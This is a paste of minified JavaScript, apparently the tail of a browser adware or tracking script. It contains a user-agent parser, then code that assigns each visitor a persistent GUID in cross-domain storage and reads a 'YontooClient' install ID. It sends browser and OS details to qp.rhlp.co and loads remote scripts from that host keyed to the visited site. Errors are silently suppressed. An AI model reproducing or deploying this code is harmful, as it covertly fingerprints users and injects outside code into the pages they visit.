  869.                     [/(htc)[;_\s-]+([\w\s]+(?=\))|\w+)*/i, /(zte)-(\w+)*/i, /(alcatel|geeksphone|huawei|lenovo|nexian|panasonic|(?=;\s)sony)[_\s-]?([\w-]+)*/i],
  870.                     ["vendor", ["model", /_/g, " "],
  871.                         ["type", "mobile"]
  872.                     ],
  873.                     [/\s((milestone|droid(?:[2-4x]|\s(?:bionic|x2|pro|razr))?(:?\s4g)?))[\w\s]+build\//i, /(mot)[\s-]?(\w+)*/i],
  874.                     [
  875.                         ["vendor", "Motorola"], "model", ["type", "mobile"]
  876.                     ],
  877.                     [/android.+\s((mz60\d|xoom[\s2]{0,2}))\sbuild\//i],
  878.                     [
  879.                         ["vendor", "Motorola"], "model", ["type", "tablet"]
  880.                     ],
  881.                     [/android.+((sch-i[89]0\d|shw-m380s|gt-p\d{4}|gt-n8000|sgh-t8[56]9))/i],
  882.                     [
  883.                         ["vendor", "Samsung"], "model", ["type", "tablet"]
  884.                     ],
  885.                     [/((s[cgp]h-\w+|gt-\w+|galaxy\snexus))/i, /(sam[sung]*)[\s-]*(\w+-?[\w-]*)*/i, /sec-((sgh\w+))/i],
  886.                     [
  887.                         ["vendor", "Samsung"], "model", ["type", "mobile"]
  888.                     ],
  889.                     [/(sie)-(\w+)*/i],
  890.                     [
  891.                         ["vendor", "Siemens"], "model", ["type", "mobile"]
  892.                     ],
  893.                     [/(maemo|nokia).*(n900|lumia\s\d+)/i, /(nokia)[\s_-]?([\w-]+)*/i],
  894.                     [
  895.                         ["vendor", "Nokia"], "model", ["type", "mobile"]
  896.                     ],
  897.                     [/android\s3\.[\s\w-;]{10}((a\d{3}))/i],
  898.                     [
  899.                         ["vendor", "Acer"], "model", ["type", "tablet"]
  900.                     ],
  901.                     [/android\s3\.[\s\w-;]{10}(lg?)-([06cv9]{3,4})/i],
  902.                     [
  903.                         ["vendor", "LG"], "model", ["type", "tablet"]
  904.                     ],
  905.                     [/((nexus\s4))/i, /(lg)[e;\s-\/]+(\w+)*/i],
  906.                     [
  907.                         ["vendor", "LG"], "model", ["type", "mobile"]
  908.                     ],
  909.                     [/(mobile|tablet);.+rv\:.+gecko\//i],
  910.                     ["type", "vendor", "model"]
  911.                 ],
  912.                 p = [
  913.                     [/(presto)\/([\w\.]+)/i, /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, /(icab)[\/\s]([23]\.[\d\.]+)/i],
  914.                     ["name", "version"],
  915.                     [/rv\:([\w\.]+).*(gecko)/i],
  916.                     ["version", "name"]
  917.                 ],
  918.                 q = [
  919.                     [/(windows)\snt\s6\.2;\s(arm)/i, /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],
  920.                     ["name", ["version", h, l]],
  921.                     [/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],
  922.                     [
  923.                         ["name", "Windows"],
  924.                         ["version", h, l]
  925.                     ],
  926.                     [/\((bb)(10);/i],
  927.                     [
  928.                         ["name", "BlackBerry"], "version"
  929.                     ],
  930.                     [/(blackberry)\w*\/?([\w\.]+)*/i, /(tizen)\/([\w\.]+)/i, /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego)[\/\s-]?([\w\.]+)*/i],
  931.                     ["name", "version"],
  932.                     [/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],
  933.                     [
  934.                         ["name", "Symbian"], "version"
  935.                     ],
  936.                     [/mozilla.+\(mobile;.+gecko.+firefox/i],
  937.                     [
  938.                         ["name", "Firefox OS"], "version"
  939.                     ],
  940.                     [/(nintendo|playstation)\s([wids3portablevu]+)/i,
  941.                         /(mint)[\/\s\(]?(\w+)*/i, /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk)[\/\s-]?([\w\.-]+)*/i, /(hurd|linux)\s?([\w\.]+)*/i, /(gnu)\s?([\w\.]+)*/i
  942.                     ],
  943.                     ["name", "version"],
  944.                     [/(cros)\s[\w]+\s([\w\.]+\w)/i],
  945.                     [
  946.                         ["name", "Chromium OS"], "version"
  947.                     ],
  948.                     [/(sunos)\s?([\w\.]+\d)*/i],
  949.                     [
  950.                         ["name", "Solaris"], "version"
  951.                     ],
  952.                     [/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],
  953.                     ["name", "version"],
  954.                     [/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],
  955.                     [
  956.                         ["name", "iOS"],
  957.                         ["version",
  958.                             /_/g, "."
  959.                         ]
  960.                     ],
  961.                     [/(mac\sos\sx)\s?([\w\s\.]+\w)*/i],
  962.                     ["name", ["version", /_/g, "."]],
  963.                     [/(haiku)\s(\w+)/i, /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, /(macintosh|mac(?=_powerpc)|plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos)/i, /(unix)\s?([\w\.]+)*/i],
  964.                     ["name", "version"]
  965.                 ],
  966.                 k = function (b) {
  967.                     var c = b || (d && d.navigator && d.navigator.userAgent ? d.navigator.userAgent : "");
  968.                     if (!(this instanceof k)) return (new k(b)).getResult();
  969.                     this.getBrowser = function () {
  970.                         return g.apply(this, m)
  971.                     };
  972.                     this.getCPU = function () {
  973.                         return g.apply(this, n)
  974.                     };
  975.                     this.getDevice =
  976.                         function () {
  977.                             return g.apply(this, o)
  978.                     };
  979.                     this.getEngine = function () {
  980.                         return g.apply(this, p)
  981.                     };
  982.                     this.getOS = function () {
  983.                         return g.apply(this, q)
  984.                     };
  985.                     this.getResult = function () {
  986.                         return {
  987.                             ua: this.getUA(),
  988.                             browser: this.getBrowser(),
  989.                             engine: this.getEngine(),
  990.                             os: this.getOS(),
  991.                             device: this.getDevice(),
  992.                             cpu: this.getCPU()
  993.                         }
  994.                     };
  995.                     this.getUA = function () {
  996.                         return c
  997.                     };
  998.                     this.setUA = function (a) {
  999.                         c = a;
  1000.                         return this
  1001.                     };
  1002.                     this.setUA(c)
  1003.                 };
  1004.             return k(d.navigator.userAgent)
  1005.         }(this);
  1006.  
  1007.         var dataSource = decodeURIComponent("hz");
  1008.         var guid, xdIdKey = "padsID",
  1009.             xdTimeKey = "padsTime",
  1010.             xdPartnerKey = "pads3P",
  1011.             baseUrl = "https://qp.rhlp.co",
  1012.             minuteInMs = 6E4,
  1013.             hourInMs = minuteInMs * 60,
  1014.             detectYCGuid = "00000000-0000-0000-0000-000000000000",
  1015.             padsBuildVersion = "1.0",
  1016.             padsType = "js";
  1017.  
  1018.         function createGuid() {
  1019.             var a = function () {
  1020.                 return ((1 + Math.random()) * 65536 | 0).toString(16).substring(1)
  1021.             };
  1022.             return a() + a() + "-" + a() + "-" + a() + "-" + a() + "-" + a() + a() + a()
  1023.         }
  1024.  
  1025.         function checkMessages(a) {
  1026.             var b = utils.getEpoch();
  1027.             if (a && a !== "null")
  1028.                 if (a < b) utils.sendFromQueue();
  1029.                 else return;
  1030.             a = b + hourInMs;
  1031.             utils.setXdData(xdTimeKey, a)
  1032.         }
  1033.  
  1034.         function sendNewUserMessages() {
  1035.             typeof YontooClient !== "undefined" && (detectYCGuid = YontooClient.getInstallId());
  1036.             var a = /msie ([0-9])/i.exec(navigator.userAgent) ? !0 : !1;
  1037.             utils.sendBbMsg("ThirdPartyNewGuid", [utils.getEpoch(), dataSource, guid, padsBuildVersion, padsType, UAParser.browser.name, UAParser.browser.major, UAParser.os.name, window.navigator.language || "", UAParser.os.version, detectYCGuid], null, a, !0, !1)
  1038.         }
  1039.  
  1040.         function initializePads(a) {
  1041.             a && a !== "null" ? guid = a : (guid = createGuid(), sendNewUserMessages(), utils.setXdData(xdIdKey, guid), utils.setXdData(xdPartnerKey, "3P-" + dataSource));
  1042.             var b = {
  1043.                 userId: guid,
  1044.                 categories: [],
  1045.                 dataSource: "3P-" + dataSource,
  1046.                 baseUrl: baseUrl
  1047.             };
  1048.             utils.loadScript(baseUrl + "/search/js", function () {
  1049.                 sCapGloRef.init(b)
  1050.             });
  1051.             utils.loadScript(baseUrl + "/demoda/js?v=3", function () {
  1052.                 lodemodata.init(b);
  1053.                 exdemodata.init(b)
  1054.             });
  1055.             utils.loadScript(baseUrl + "/stub/js/" + document.location.host, function () {
  1056.                 window.stubGloRef && stubGloRef.init(b)
  1057.             })
  1058.         }
  1059.  
  1060.         function verifyPartner(a) {
  1061.             a && a !== "null" && a !== "3P-" + dataSource || (utils.getXdData(xdIdKey, initializePads), utils.getXdData(xdTimeKey, checkMessages))
  1062.         }
  1063.  
  1064.         function onXdlsReady() {
  1065.             utils.getXdData(xdPartnerKey, verifyPartner)
  1066.         }
  1067.         utils.setupXdLocalStorage(onXdlsReady, baseUrl);
  1068.  
  1069.  
  1070.     } catch (ex) {}
  1071. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement